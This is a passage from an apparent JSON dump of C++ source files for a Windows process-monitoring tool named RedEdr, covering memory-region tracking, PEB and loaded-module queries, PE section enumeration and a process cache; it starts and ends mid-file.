(MemoryRegion*)it.data_;\n\n\t\tj.push_back({\n\t\t\t{\"name\", r->name},\n\t\t\t{\"addr\", r->addr},\n\t\t\t{\"size\", r->size},\n\t\t\t{\"protection\", r->protection}\n\t\t\t});\n\t}\n\treturn j;\n}\n\n\nstd::string MemStatic::ResolveStr(uint64_t addr) {\n\tMemoryRegion* r = GetMemoryRegion(addr);\n\tif (r == NULL) {\n\t\treturn \"NOT_IMAGE\";\n\t}\n\treturn r->name;\n}\n"
  },
  {
    "path": "RedEdrShared/process_mem_static.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <vector>\n#include <string>\n\n#include \"ranges.h\"\n#include \"json.hpp\"\n\n\n\nclass MemoryRegion {\npublic:\n\tMemoryRegion(const std::string& name, uint64_t addr, uint64_t size, std::string protection)\n\t\t: name(name), addr(addr), size(size), protection(protection) {\n\t}\n\n\tstd::string name;\n\tuint64_t addr;\n\tuint64_t size;\n\tstd::string protection;\n};\n\n\nclass MemStatic {\npublic:\n\tMemStatic();\n\t~MemStatic();  // Destructor to clean up memory\n\tvoid AddMemoryRegion(uint64_t addr, MemoryRegion* region);\n\tBOOL ExistMemoryRegion(uint64_t addr);\n\tMemoryRegion* GetMemoryRegion(uint64_t addr);\n\tvoid RemoveMemoryRegion(uint64_t addr, size_t size);\n\tvoid ResetData();\n\tvoid PrintMemoryRegions();\n\tnlohmann::json ToJson();\n\tstd::string ResolveStr(uint64_t addr);\n\nprivate:\n\tRangeSet memoryRegions;\n};\n\n\nextern MemStatic g_MemStatic;"
  },
  {
    "path": "RedEdrShared/process_query.cpp",
    "content": "#include <windows.h>\n#include <wintrust.h>\n#include <wincrypt.h>\n#include <iostream>\n#include <string>\n#include <vector>\n#include <psapi.h>\n#include <tlhelp32.h>\n#include <winternl.h>\n\n#include \"process_query.h\"\n#include \"utils.h\"\n#include \"mypeb.h\"\n#include \"../Shared/common.h\"\n\n#pragma comment(lib, \"ntdll.lib\")\n\n// The implementation is in each solution\nvoid LOG_W(int verbosity, const wchar_t* format, ...);\nvoid LOG_A(int verbosity, const char* format, ...);\n\n/* Process Query\n * Provides functions to query a process for more information\n * No side effects\n */\n\n\n // Private\nwchar_t* GetFileNameFromPath(wchar_t* path);\nstd::string GetRemoteUnicodeStr(HANDLE hProcess, UNICODE_STRING* u);\n\n\n// Some stupid definitions (dont belong in the .h)\ntypedef enum _MEMORY_INFORMATION_CLASS {\n    MemoryBasicInformation\n} MEMORY_INFORMATION_CLASS;\ntypedef NTSTATUS(NTAPI* pNtQueryInformationProcess)(\n    HANDLE ProcessHandle,\n    PROCESSINFOCLASS ProcessInformationClass,\n    PVOID ProcessInformation,\n    ULONG ProcessInformationLength,\n    PULONG ReturnLength);\ntypedef NTSTATUS(NTAPI* pNtQueryVirtualMemory)(\n    HANDLE                   ProcessHandle,\n    PVOID                    BaseAddress,\n    MEMORY_INFORMATION_CLASS MemoryInformationClass,\n    PVOID                    MemoryInformation,\n    SIZE_T                   MemoryInformationLength,\n    PSIZE_T                  ReturnLength\n    );\n\n\n// Additional low level windows functions\npNtQueryVirtualMemory NtQueryVirtualMemory;\n\n\nBOOL InitProcessQuery() {\n    HMODULE hNtDll;\n    hNtDll = GetModuleHandle(L\"ntdll.dll\");\n    if (hNtDll == NULL) {\n        LOG_A(LOG_ERROR, \"ProcessQuery: could not find ntdll.dll\");\n        return FALSE;\n    }\n    NtQueryVirtualMemory = (pNtQueryVirtualMemory)GetProcAddress(hNtDll, \"NtQueryVirtualMemory\");\n    if (NtQueryVirtualMemory == NULL) {\n        LOG_A(LOG_ERROR, \"ProcessQuery: Could not get NtQueryVirtualMemory error: %d\", GetLastError());\n        return FALSE;\n    }\n    return TRUE;\n}\n\n\nstd::wstring GetProcessName(HANDLE hProcess) {\n    if (!hProcess || hProcess == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_WARNING, \"GetProcessName: Invalid process handle\");\n        return std::wstring(L\"\");\n    }\n    \n    WCHAR exePath[MAX_PATH] = { 0 };\n    if (GetModuleFileNameEx(hProcess, NULL, exePath, MAX_PATH)) {\n\t\t//LOG_W(LOG_INFO, L\"GetProcessName: Process name: %s\", exePath);\n        return std::wstring(exePath);\n    }\n    else {\n        // Happens often\n        LOG_A(LOG_WARNING, \"GetProcessName: Failed to get module filename. Error: %lu\", GetLastError());\n        return std::wstring(L\"\");\n    }\n}\n\n\n// Process: PEB Info\nProcessPebInfoRet ProcessPebInfo(HANDLE hProcess) {\n    ProcessPebInfoRet processPebInfoRet = {}; // Initialize all fields to zero/empty\n    \n    if (!hProcess || hProcess == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"ProcessPebInfo: Invalid process handle\");\n        return processPebInfoRet;\n    }\n\n    PROCESS_BASIC_INFORMATION pbi;\n    ULONG returnLength;\n\n    NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength);\n    if (status != 0) {\n        LOG_A(LOG_ERROR, \"ProcessPebInfo: Could not NtQueryInformationProcess, ret: %lu, error: %lu\",\n            static_cast<unsigned long>(status), GetLastError());\n        return processPebInfoRet;\n    }\n\n    // PPID\n    // Fix: Use ULONG_PTR to safely store the pointer value before casting to DWORD\n    DWORD parentPid = static_cast<DWORD>(reinterpret_cast<ULONG_PTR>(pbi.Reserved3)); // InheritedFromUniqueProcessId lol\n    processPebInfoRet.parent_pid = parentPid;\n\n    // PEB\n    MYPEB peb = {};\n    if (!ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) {\n        //LOG_A(LOG_WARNING, \"ProcessPebInfo: Error: Could not ReadProcessMemory1 error: %lu\",\n        //    GetLastError());\n        return processPebInfoRet;\n    }\n\n    // PEB directly accessible\n    /*\n    printf(\"InheritedAddressSpace: %i\\n\", peb.InheritedAddressSpace);\n    printf(\"ReadImageFileExecOptions: %i\\n\", peb.ReadImageFileExecOptions);\n    printf(\"BeingDebugged : %i\\n\", peb.BeingDebugged);\n    printf(\"IsProtectedProcess : %i\\n\", peb.IsProtectedProcess);\n    printf(\"IsImageDynamicallyRelocated : %i\\n\", peb.IsImageDynamicallyRelocated);\n    printf(\"IsAppContainer : %i\\n\", peb.IsAppContainer);\n    printf(\"IsProtectedProcessLight : %i\\n\", peb.IsProtectedProcessLight);\n    printf(\"ImageBaseAddress: 0x%p\\n\", peb.ImageBaseAddress);\n    printf(\"ProcessUsingVEH: %i\\n\", peb.ProcessUsingVEH);\n    printf(\"pImageHeaderHash: 0x%p\\n\", peb.pImageHeaderHash);\n    */\n    processPebInfoRet.is_debugged = peb.BeingDebugged;\n    processPebInfoRet.is_protected_process = peb.IsProtectedProcess;\n    processPebInfoRet.is_protected_process_light = peb.IsProtectedProcessLight;\n    processPebInfoRet.image_base = pointer_to_uint64(peb.ImageBaseAddress);\n\n    // ProcessParameters - annoying copying\n    if (!peb.ProcessParameters) {\n        LOG_A(LOG_WARNING, \"ProcessPebInfo: ProcessParameters is NULL\");\n        return processPebInfoRet;\n    }\n    \n    MY_RTL_USER_PROCESS_PARAMETERS procParams = {};\n    if (!ReadProcessMemory(hProcess, peb.ProcessParameters, &procParams, sizeof(procParams), NULL)) {\n        LOG_A(LOG_ERROR, \"ProcessQuery: Error: Could not ReadProcessMemory error: %lu\", GetLastError());\n        return processPebInfoRet;\n    }\n    \n    try {\n        processPebInfoRet.commandline = GetRemoteUnicodeStr(hProcess, &procParams.CommandLine);\n        processPebInfoRet.image_path = GetRemoteUnicodeStr(hProcess, &procParams.ImagePathName);\n        processPebInfoRet.working_dir = GetRemoteUnicodeStr(hProcess, &procParams.CurrentDirectory.DosPath);\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"ProcessPebInfo: Exception while reading unicode strings: %s\", e.what());\n    }\n\n    // No need for these for now\n    //std::wstring DllPath = my_get_str(hProcess, &procParams.DllPath);\n    //std::wstring WindowTitle = my_get_str(hProcess, &procParams.WindowTitle);\n\n    return processPebInfoRet;\n}\n\n\nstd::wstring ReadMemoryAsWString(HANDLE hProcess, LPCVOID remoteAddress, SIZE_T byteCount) {\n    if (!hProcess || !remoteAddress || byteCount == 0) {\n        throw std::invalid_argument(\"Invalid arguments provided to ReadMemoryAsWString\");\n    }\n\n    // Allocate buffer to hold the memory content\n    std::vector<WCHAR> buffer(byteCount / sizeof(WCHAR) + 1, L'\\0'); // Extra space for null-terminator\n    SIZE_T bytesRead = 0;\n\n    // Read the memory from the target process\n    if (!ReadProcessMemory(hProcess, remoteAddress, buffer.data(), byteCount, &bytesRead)) {\n        throw std::runtime_error(\"ReadProcessMemory failed\");\n    }\n\n    // Ensure the memory read is within bounds\n    SIZE_T wcharCount = bytesRead / sizeof(WCHAR);\n    if (wcharCount < buffer.size()) {\n        buffer[wcharCount] = L'\\0'; // Null-terminate if not already\n    }\n    else {\n        buffer.back() = L'\\0'; // Guarantee null-termination in case of truncation\n    }\n\n    // Return as a wstring\n    return std::wstring(buffer.data());\n}\n\n\n// Enumerate all modules loaded in the process (DLL's), and their sections\nstd::vector<ProcessLoadedDll> ProcessEnumerateModules(HANDLE hProcess) {\n    std::vector<ProcessLoadedDll> processLoadedDlls;\n    \n    if (!hProcess || hProcess == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"ProcessEnumerateModules: Invalid process handle\");\n        return processLoadedDlls;\n    }\n\n    PROCESS_BASIC_INFORMATION pbi = {};\n    ULONG returnLength;\n\n    // PBI\n    NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &returnLength);\n    if (status != 0) {\n        LOG_A(LOG_ERROR, \"ProcessEnumerateModules: Error: Could not NtQueryInformationProcess for %lu, error: %lu\", \n            static_cast<unsigned long>(status), GetLastError());\n        return processLoadedDlls;\n    }\n\n    // PEB\n    MYPEB peb = {};\n    if (!ReadProcessMemory(hProcess, pbi.PebBaseAddress, &peb, sizeof(peb), NULL)) {\n        LOG_A(LOG_WARNING, \"ProcessEnumerateModules: Error: Could not ReadProcessMemory1 error: %lu\",\n            GetLastError());\n        return processLoadedDlls;\n    }\n\n    if (!peb.Ldr) {\n        LOG_A(LOG_WARNING, \"ProcessEnumerateModules: PEB.Ldr is NULL\");\n        return processLoadedDlls;\n    }\n\n    // PEB_LDR_DATA\n    PEB_LDR_DATA ldr = {};\n    if (!ReadProcessMemory(hProcess, peb.Ldr, &ldr, sizeof(PEB_LDR_DATA), NULL)) {\n        LOG_A(LOG_WARNING, \"ProcessEnumerateModules: ReadProcessMemory failed for PEB_LDR_DATA. Error: %lu\", GetLastError());\n        return processLoadedDlls;\n    }\n\n    // InMemoryOrderModuleList\n    LIST_ENTRY* head = &ldr.InMemoryOrderModuleList;\n    LIST_ENTRY* current = ldr.InMemoryOrderModuleList.Flink;\n    \n    // Prevent infinite loop by limiting iterations\n    int maxIterations = 1000;\n    int iteration = 0;\n    \n    while (current != head && iteration < maxIterations) {\n        ProcessLoadedDll processLoadedDll = {};\n\n        _LDR_DATA_TABLE_ENTRY entry = {};\n        if (!ReadProcessMemory(hProcess, CONTAINING_RECORD(current, _LDR_DATA_TABLE_ENTRY, InMemoryOrderLinks),\n            &entry, sizeof(_LDR_DATA_TABLE_ENTRY), NULL))\n        {\n            LOG_A(LOG_WARNING, \"ProcessEnumerateModules: ReadProcessMemory failed for LDR_DATA_TABLE_ENTRY. Error: %lu\", GetLastError());\n            break;\n        }\n        \n        if (entry.DllBase == 0) { // all zero is last one for some reason\n            break;\n        }\n        \n        // Validate pointers before using them\n        if (!entry.FullDllName.Buffer || entry.FullDllName.Length == 0 || entry.FullDllName.Length > 2048) {\n            LOG_A(LOG_WARNING, \"ProcessEnumerateModules: Invalid FullDllName in LDR_DATA_TABLE_ENTRY\");\n            current = entry.InMemoryOrderLinks.Flink;\n            iteration++;\n            continue;\n        }\n        \n        try {\n            std::wstring filenameW = ReadMemoryAsWString(hProcess, entry.FullDllName.Buffer, entry.FullDllName.Length);\n            std::string filenameStr = wstring2string(filenameW);\n            processLoadedDll.dll_base = reinterpret_cast<uint64_t>(entry.DllBase);\n            processLoadedDll.size = static_cast<ULONG>(reinterpret_cast<ULONG_PTR>(entry.Reserved3[1]));\n            processLoadedDll.name = filenameStr;\n            processLoadedDlls.push_back(processLoadedDll);\n        }\n        catch (const std::exception& e) {\n            LOG_A(LOG_WARNING, \"ProcessEnumerateModules: Exception reading module name: %s\", e.what());\n        }\n\n        // Move to the next module in the list\n        current = entry.InMemoryOrderLinks.Flink;\n        iteration++;\n    }\n    \n    if (iteration >= maxIterations) {\n        LOG_A(LOG_WARNING, \"ProcessEnumerateModules: Hit maximum iteration limit, possible infinite loop\");\n    }\n\n    return processLoadedDlls;\n}\n\n\nstd::string GetSectionNameFromRaw(const IMAGE_SECTION_HEADER& section) {\n    return std::string(reinterpret_cast<const char*>(section.Name),\n        strnlen(reinterpret_cast<const char*>(section.Name), 8));\n}\n\n\nstd::vector<ModuleSection> EnumerateModuleSections(HANDLE hProcess, LPVOID moduleBase) {\n    std::vector<ModuleSection> moduleSections;\n    \n    if (!hProcess || hProcess == INVALID_HANDLE_VALUE || !moduleBase) {\n        LOG_A(LOG_ERROR, \"EnumerateModuleSections: Invalid parameters\");\n        return moduleSections;\n    }\n\n    // Buffer for headers\n    IMAGE_DOS_HEADER dosHeader = {};\n    IMAGE_NT_HEADERS ntHeaders = {};\n    std::vector<IMAGE_SECTION_HEADER> sectionHeaders;\n\n    // Buffer for module name\n    wchar_t moduleName[MAX_PATH] = { 0 };\n    if (!GetModuleBaseName(hProcess, (HMODULE)moduleBase, moduleName, MAX_PATH)) {\n        LOG_A(LOG_WARNING, \"ProcessQuery: Failed to retrieve module name. Error: %lu\", GetLastError());\n        return moduleSections;\n    }\n    std::string moduleNameStr = wchar2string(moduleName);\n\n    // Read the DOS header\n    if (!ReadProcessMemory(hProcess, moduleBase, &dosHeader, sizeof(dosHeader), NULL)) {\n        LOG_A(LOG_WARNING, \"ProcessQuery: Failed to read DOS header. Error: %lu\", GetLastError());\n        return moduleSections;\n    }\n    // Verify DOS signature\n    if (dosHeader.e_magic != IMAGE_DOS_SIGNATURE) {\n        LOG_A(LOG_WARNING, \"ProcessQuery: Invalid DOS signature. Not a valid PE file\");\n        return moduleSections;\n    }\n    \n    // Bounds check for e_lfanew\n    if (dosHeader.e_lfanew < 0 || dosHeader.e_lfanew > 0x10000) {\n        LOG_A(LOG_WARNING, \"ProcessQuery: Invalid e_lfanew value: %ld\", dosHeader.e_lfanew);\n        return moduleSections;\n    }\n    \n    // Read the NT header\n    LPVOID ntHeaderAddress = (LPBYTE)moduleBase + dosHeader.e_lfanew;\n    if (!ReadProcessMemory(hProcess, ntHeaderAddress, &ntHeaders, sizeof(ntHeaders), NULL)) {\n        LOG_A(LOG_WARNING, \"ProcessQuery: Failed to read NT headers. Error: %lu\", GetLastError());\n        return moduleSections;\n    }\n    // Verify NT signature\n    if (ntHeaders.Signature != IMAGE_NT_SIGNATURE) {\n        LOG_A(LOG_WARNING, \"ProcessQuery: Invalid NT signature. Not a valid PE file.\");\n        return moduleSections;\n    }\n\n    // Read section headers\n    DWORD numberOfSections = ntHeaders.FileHeader.NumberOfSections;\n    if (numberOfSections == 0 || numberOfSections > 96) {  // Reasonable upper limit for sections\n        LOG_A(LOG_WARNING, \"ProcessQuery: Invalid number of sections: %lu\", numberOfSections);\n        return moduleSections;\n    }\n    \n    LPVOID sectionHeaderAddress = (LPBYTE)ntHeaderAddress + sizeof(IMAGE_NT_HEADERS);\n    sectionHeaders.resize(numberOfSections);\n    if (!ReadProcessMemory(hProcess, sectionHeaderAddress, sectionHeaders.data(),\n        sizeof(IMAGE_SECTION_HEADER) * numberOfSections, NULL)) {\n        LOG_A(LOG_WARNING, \"ProcessQuery: Failed to read section headers. Error: %lu\", GetLastError());\n        return moduleSections;\n    }\n\n    // Note: PE header, but is this really true?\n    uint64_t a = reinterpret_cast<uint64_t>(moduleBase);\n    ModuleSection memoryRegionPe = ModuleSection(\n        moduleNameStr + \": .pehdr\", a, 4096, \"R--\"\n    );\n    moduleSections.push_back(memoryRegionPe);\n\n    for (const auto& section: sectionHeaders) {\n        // Validate section data\n        if (section.VirtualAddress > 0x10000000) {  // Reasonable upper limit\n            // Happens often\n            //LOG_A(LOG_WARNING, \"ProcessQuery: Invalid section virtual address: 0x%lx\", section.VirtualAddress);\n            continue;\n        }\n        \n        LPVOID sectionAddress = (LPBYTE)moduleBase + section.VirtualAddress;\n        DWORD sectionSize = section.Misc.VirtualSize;\n        \n        if (sectionSize > 0x10000000) {  // 256MB limit seems reasonable\n            LOG_A(LOG_WARNING, \"ProcessQuery: Section size too large: %lu\", sectionSize);\n            continue;\n        }\n\n\t\tstd::string sectionName = GetSectionNameFromRaw(section);\n        std::string full = moduleNameStr + \":\" + sectionName;\n\n        ModuleSection memoryRegion = ModuleSection(\n            full,\n            reinterpret_cast<uint64_t>(sectionAddress),\n            sectionSize,\n            GetSectionPermissions(section.Characteristics)\n        );\n        moduleSections.push_back(memoryRegion);\n    }\n\n    return moduleSections;\n}\n\n\nProcessAddrInfoRet ProcessAddrInfo(HANDLE hProcess, PVOID address) {\n    ProcessAddrInfoRet processAddrInfoRet = {}; // Initialize all fields\n    \n    if (!hProcess || hProcess == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"ProcessAddrInfo: Invalid process handle\");\n        return processAddrInfoRet;\n    }\n    \n    MEMORY_BASIC_INFORMATION mbi = {};\n    SIZE_T returnLength = 0;\n    \n    NTSTATUS status = NtQueryVirtualMemory(hProcess, address, MemoryBasicInformation, &mbi, sizeof(mbi), &returnLength);\n    if (status != 0) {\n        LOG_A(LOG_WARNING, \"ProcessQuery: Could not query memory address %p in process %p. NTSTATUS: %lx\", \n            address, hProcess, static_cast<unsigned long>(status));\n        return processAddrInfoRet;\n    }\n\n    processAddrInfoRet.name = \"\";\n    processAddrInfoRet.base_addr = mbi.BaseAddress;\n    processAddrInfoRet.allocation_base = mbi.AllocationBase;\n    processAddrInfoRet.region_size = mbi.RegionSize;\n    processAddrInfoRet.allocation_protect = mbi.AllocationProtect;  // Missing field\n    processAddrInfoRet.state = mbi.State;\n    processAddrInfoRet.protect = mbi.Protect;\n    processAddrInfoRet.type = mbi.Type;\n\n    processAddrInfoRet.stateStr = getMemoryRegionState(mbi.State);\n    processAddrInfoRet.protectStr = getMemoryRegionProtect(mbi.Protect);\n    processAddrInfoRet.typeStr = getMemoryRegionType(mbi.Type);\n\n    return processAddrInfoRet;\n}\n\n\n// Unused, produces a lot of data\nbool QueryMemoryRegions(HANDLE hProcess) {\n    MEMORY_BASIC_INFORMATION mbi;\n    PVOID address = 0;\n    SIZE_T returnLength = 0;\n    char buf[DATA_BUFFER_SIZE];\n\n    int c = 0, cc = 0;\n    while (NtQueryVirtualMemory(hProcess, address, MemoryBasicInformation, &mbi, sizeof(mbi), &returnLength) == 0) {\n        if (mbi.Type == 0 || mbi.Protect == 0 || mbi.State != MEM_COMMIT) {\n            address = (PVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);\n            continue;\n        }\n        // skip IMAGE regions\n        //if (mbi.Type == MEM_IMAGE) {\n        if (mbi.Type != MEM_PRIVATE) {\n            address = (PVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);\n            continue;\n        }\n\n        //printf(\"addr:%p;size:%zu;state:0x%lx;protect:0x%lx;type:0x%lx\\n\",\n        //    mbi.BaseAddress, mbi.RegionSize, mbi.State, mbi.Protect, mbi.Type);\n\n        //printf(\"addr:%p;size:%zu;protect:0x%lx;type:0x%lx\\n\",\n        //    mbi.BaseAddress, mbi.RegionSize, mbi.Protect, mbi.Type);\n\n        sprintf_s(buf, sizeof(buf), \"addr:%p;size:%zu;protect:0x%lx;\",\n            mbi.BaseAddress, mbi.RegionSize, mbi.Protect);\n        c += (int)strlen(buf);\n        cc += 1;\n        printf(\"%s\\n\", buf);\n\n        //printf(\"Protection: \");\n        //PrintProtectionFlags(mbi.Protect);\n        address = (PVOID)((ULONG_PTR)mbi.BaseAddress + mbi.RegionSize);\n    }\n\n    printf(\"Len bytes: %i   lines: %i\\n\", c, cc);\n\n    return TRUE;\n}\n\n\n// Utils\n\n\n// Gets a UNICODE_STRING content in a remote process as wstring\nstd::string GetRemoteUnicodeStr(HANDLE hProcess, UNICODE_STRING* u) {\n    if (!hProcess || hProcess == INVALID_HANDLE_VALUE || !u) {\n        LOG_A(LOG_ERROR, \"GetRemoteUnicodeStr: Invalid parameters\");\n        return std::string();\n    }\n    \n    if (!u->Buffer || u->Length == 0) {\n        return std::string(); // Empty string is valid\n    }\n    \n    // Sanity check for reasonable string length (64KB limit)\n    if (u->Length > 65536) {\n        LOG_A(LOG_WARNING, \"GetRemoteUnicodeStr: String length too large: %u\", u->Length);\n        return std::string();\n    }\n    \n    std::wstring s;\n    //std::vector<wchar_t> commandLine(u->Length / sizeof(wchar_t));\n    std::vector<wchar_t> uni(u->Length / sizeof(wchar_t) + 1, L'\\0'); // Add space for null terminator\n    \n    if (!ReadProcessMemory(hProcess, u->Buffer, uni.data(), u->Length, NULL)) {\n        LOG_A(LOG_ERROR, \"ProcessQuery: Could not ReadProcessMemory error: %lu\", GetLastError());\n        return std::string();\n    }\n    else {\n        // Ensure null termination\n        uni[u->Length / sizeof(wchar_t)] = L'\\0';\n        s.assign(uni.begin(), uni.end() - 1); // Exclude the manually added null terminator\n    }\n\n\tstd::string str = wstring2string(s);\n    return str;\n}\n\n\nwchar_t* GetFileNameFromPath(wchar_t* path) {\n    if (!path) {\n        return NULL;\n    }\n    wchar_t* lastBackslash = wcsrchr(path, L'\\\\');\n    return (lastBackslash != NULL) ? lastBackslash + 1 : path;\n}\n\n\nDWORD FindProcessIdByName(const std::wstring& processName) {\n    if (processName.empty()) {\n        LOG_A(LOG_ERROR, \"FindProcessIdByName: Process name is empty\");\n        return 0;\n    }\n    \n    DWORD processId = 0;\n    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    if (hSnapshot == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"FindProcessIdByName: CreateToolhelp32Snapshot failed. Error: %lu\", GetLastError());\n        return 0;\n    }\n\n    PROCESSENTRY32 pe = {};\n    pe.dwSize = sizeof(PROCESSENTRY32);\n    if (Process32First(hSnapshot, &pe)) {\n        do {\n            if (!_wcsicmp(pe.szExeFile, processName.c_str())) {\n                processId = pe.th32ProcessID;\n                break;\n            }\n        } while (Process32Next(hSnapshot, &pe));\n    }\n    else {\n        LOG_A(LOG_ERROR, \"FindProcessIdByName: Process32First failed. Error: %lu\", GetLastError());\n    }\n\n    CloseHandle(hSnapshot);\n    return processId;\n}"
  },
  {
    "path": "RedEdrShared/process_query.h",
    "content": "#pragma once\n\n#include <windows.h>\n#include <vector>\n#include <string>\n#include <iostream>\n\n\nstd::wstring GetProcessName(HANDLE hProcess);\nBOOL InitProcessQuery();\nDWORD FindProcessIdByName(const std::wstring& processName);\n\nstruct ProcessAddrInfoRet {\n    std::string name;\n    PVOID base_addr;\n\n    // Original?\n    PVOID allocation_base;\n    size_t region_size;\n    DWORD allocation_protect;\n\n    DWORD state;\n    DWORD protect;\n    DWORD type;\n\n    std::string stateStr;\n    std::string protectStr;\n    std::string typeStr;\n};\nProcessAddrInfoRet ProcessAddrInfo(HANDLE hProcess, PVOID address);\n\n\nstruct ProcessPebInfoRet {\n    std::string image_path;\n    std::string commandline;\n    std::string working_dir;\n    DWORD parent_pid;\n    DWORD is_debugged;\n    DWORD is_protected_process;\n    DWORD is_protected_process_light;\n    uint64_t image_base;\n};\nProcessPebInfoRet ProcessPebInfo(HANDLE hProcess);\n\n\nstruct ProcessLoadedDll {\n    uint64_t dll_base;\n    ULONG size;\n    std::string name;\n};\nstd::vector<ProcessLoadedDll> ProcessEnumerateModules(HANDLE hProcess);\n\n\nstruct ModuleSection {\npublic:\n    ModuleSection(const std::string& name, uint64_t addr, uint64_t size, std::string protection)\n        : name(name), addr(addr), size(size), protection(protection) {}\n\n    std::string name;\n    uint64_t addr;\n    uint64_t size;\n    std::string protection;\n};\nstd::vector<ModuleSection> EnumerateModuleSections(HANDLE hProcess, LPVOID moduleBase);\n\n"
  },
  {
    "path": "RedEdrShared/process_resolver.cpp",
    "content": "#include <windows.h>\n#include <iostream>\n#include <unordered_map>\n#include <mutex>\n#include <thread>\n#include <atomic>\n#include <chrono>\n#include <vector>\n#include <tlhelp32.h>\n\n#include \"process_resolver.h\"\n#include \"utils.h\"\n#include \"../Shared/common.h\"\n\n// The implementation is in each solution\nvoid LOG_W(int verbosity, const wchar_t* format, ...);\nvoid LOG_A(int verbosity, const char* format, ...);\n\n\n/*\n * ProcessResolver: Maintains a cache of processes to see if we should observe them\n * \n * Features:\n * - Thread-safe caching of all processes / Process-objects indexed by PID\n * - Automatic population of all running processes on startup (speed)\n * - Cache refresh capability to track new/terminated processes\n * - Statistics and monitoring functions\n */\n\n\nProcessResolver g_ProcessResolver;\nstd::mutex cache_mutex;\n\n\nProcessResolver::ProcessResolver() {\n\tcache.reserve(2000); // Preallocate space for 2000 processes\n}\n\n\nProcessResolver::~ProcessResolver() {\n    StopCleanupThread();\n}\n\n\n// Add an object to the cache\nvoid ProcessResolver::addObject(DWORD id, const Process& obj) {\n    std::lock_guard<std::mutex> lock(cache_mutex);\n    cache[id] = obj;\n}\n\n\nBOOL ProcessResolver::containsObject(DWORD pid) {\n    std::lock_guard<std::mutex> lock(cache_mutex);\n    auto it = cache.find(pid);\n    if (it != cache.end()) {\n        return TRUE;\n    }\n    else {\n        return FALSE;\n    }\n}\n\n\nvoid ProcessResolver::SetTargetNames(const std::vector<std::string>& names) {\n    std::lock_guard<std::mutex> lock(cache_mutex);\n    targetProcessNames = names;\n}\n\n\n// Get an object from the cache\nProcess* ProcessResolver::getObject(DWORD id) {\n    {\n        std::lock_guard<std::mutex> lock(cache_mutex);\n        auto it = cache.find(id);\n        if (it != cache.end()) {\n            return &it->second; // Return a pointer to the object\n        }\n    }\n\n    // Does not exist, create and add to cache\n    Process* process = MakeProcess(id, targetProcessNames);\n    if (process == nullptr) {\n        return nullptr;\n    }\n\n    {\n        std::lock_guard<std::mutex> lock(cache_mutex);\n        cache[id] = *process;\n    }\n    \n    // Clean up the temporary process object\n    delete process;\n    \n    {\n        std::lock_guard<std::mutex> lock(cache_mutex);\n        return &cache[id];\n    }\n}\n\n// Remove an object from the cache\nvoid ProcessResolver::removeObject(DWORD id) {\n    std::lock_guard<std::mutex> lock(cache_mutex);\n    cache.erase(id);\n}\n\n\nvoid ProcessResolver::ResetData() {\n    std::lock_guard<std::mutex> lock(cache_mutex);\n    cache.clear();\n}\n\n\nsize_t ProcessResolver::GetCacheCount() {\n    std::lock_guard<std::mutex> lock(cache_mutex);\n    return cache.size();\n}\n\n\n// Populate cache with all currently running processes\nBOOL ProcessResolver::PopulateAllProcesses() {\n    LOG_A(LOG_INFO, \"ProcessResolver: Starting to populate cache with all running processes\");\n    \n    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);\n    if (hSnapshot == INVALID_HANDLE_VALUE) {\n        LOG_A(LOG_ERROR, \"ProcessResolver: Failed to create process snapshot: %lu\", GetLastError());\n        return FALSE;\n    }\n    \n    PROCESSENTRY32 pe32;\n    pe32.dwSize = sizeof(PROCESSENTRY32);\n    \n    // Get the first process\n    if (!Process32First(hSnapshot, &pe32)) {\n        LOG_A(LOG_ERROR, \"ProcessResolver: Failed to get first process: %lu\", GetLastError());\n        CloseHandle(hSnapshot);\n        return FALSE;\n    }\n    \n    int processCount = 0;\n    int cachedCount = 0;\n    \n    try {\n        do {\n            processCount++;\n            DWORD pid = pe32.th32ProcessID;\n            \n            // Skip system idle process (PID 0)\n            if (pid == 0) {\n                continue;\n            }\n            \n            // Check if already in cache\n            if (containsObject(pid)) {\n                continue;\n            }\n            \n            // Create process object and add to cache\n            Process* process = MakeProcess(pid, targetProcessNames);\n            if (process != nullptr) {\n                {\n                    std::lock_guard<std::mutex> lock(cache_mutex);\n                    cache[pid] = *process;\n                }\n                \n                // Clean up the temporary process object\n                delete process;\n                cachedCount++;\n                \n                // Log progress for large numbers of processes\n                //if (cachedCount % 50 == 0) {\n                //    LOG_A(LOG_DEBUG, \"ProcessResolver: Cached %d processes so far...\", cachedCount);\n                //}\n            }\n            else {\n                // MakeProcess can fail for protected/system processes, this is normal\n                LOG_A(LOG_DEBUG, \"ProcessResolver: Failed to create process object for PID %lu (%ls)\", \n                      pid, pe32.szExeFile);\n            }\n            \n        } while (Process32Next(hSnapshot, &pe32));\n    }\n    catch (const std::exception& e) {\n        LOG_A(LOG_ERROR, \"ProcessResolver: Exception while populating cache: %s\", e.what());\n        CloseHandle(hSnapshot);\n        return FALSE;\n    }\n    catch (...) {\n        LOG_A(LOG_ERROR, \"ProcessResolver: Unknown exception while populating cache\");\n        CloseHandle(hSnapshot);\n        return FALSE;\n    }\n    \n    CloseHandle(hSnapshot);\n    \n    LOG_A(LOG_DEBUG, \"ProcessResolver: Successfully populated cache with %d processes\", \n          cachedCount);\n    //LOG_A(LOG_INFO, \"ProcessResolver: Current cache size: %zu\", GetCacheCount());\n    \n    return TRUE;\n}\n\n\n// Re-evaluate all cached processes with current target names\nvoid ProcessResolver::RefreshTargetMatching() {\n    LOG_A(LOG_INFO, \"ProcessResolver: Re-evaluating all cached processes with current target names\");\n    std::lock_guard<std::mutex> lock(cache_mutex);\n    \n    for (auto& pair : cache) {\n        DWORD pid = pair.first;\n        Process& process = pair.second;\n        // Don't observe ourselves\n        if 